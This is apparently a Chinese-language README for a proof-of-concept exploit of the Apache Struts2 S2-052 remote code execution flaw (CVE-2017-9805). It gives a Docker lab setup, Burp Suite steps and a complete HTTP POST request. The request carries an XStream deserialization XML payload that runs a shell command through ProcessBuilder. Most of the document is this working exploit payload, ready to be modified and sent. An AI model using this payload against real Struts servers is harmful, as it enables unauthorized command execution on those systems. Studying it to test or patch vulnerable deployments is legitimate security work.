S2-052(CVE-2017-9805)
struts2 052远程代码执行漏洞POC利用(影响版本:Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12) 官方介绍:https://cwiki.apache.org/confluence/display/WW/S2-052 此POC是在struts-2.5.12版本测试验证的。
测试环境搭建
├── docker-compose.yml
├── Dockerfile
├── poc.txt
├── README.md
└── S2-052.war
docker-compose build
docker-compose up -d
Dockerfile
FROM kk98kk0/tomcat:9.0
MAINTAINER phithon <root@leavesongs.com>(借鉴leavesongs.comDocker配置)
RUN set -ex \
&& rm -rf /usr/local/tomcat/webapps/* \
&& chmod a+x /usr/local/tomcat/bin/*.sh
COPY S2-052.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080
docker-compose.yml
version: '2'
services:
struts2:
build: .
ports:
- "8080:8080"
POC
http://10.160.11.191:8080/orders.xhtml
burpsuite抓包:
进入到修改界面,点击”提交”抓包,然后修改Content-Type为application/xml格式,post数据替换为poc中data提交。
Notes:
Windows下关键字为:
calc
Mac下关键字为:
/Applications/Calculator.app/Contents/MacOS/Calculator
POC
POST /orders/3 HTTP/1.1
Host: 10.160.11.191:8080
Proxy-Connection: keep-alive
Content-Length: 2014
Cache-Control: max-age=0
Origin: http://10.160.11.191:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Content-Type: application/xml
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://10.160.11.191:8080/orders/3/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: _gitlab_session=de4e739c66f5b892f6386a2d2689486b; JSESSIONID=10830E7168FBEAE80396A8E748587042
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>ls</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>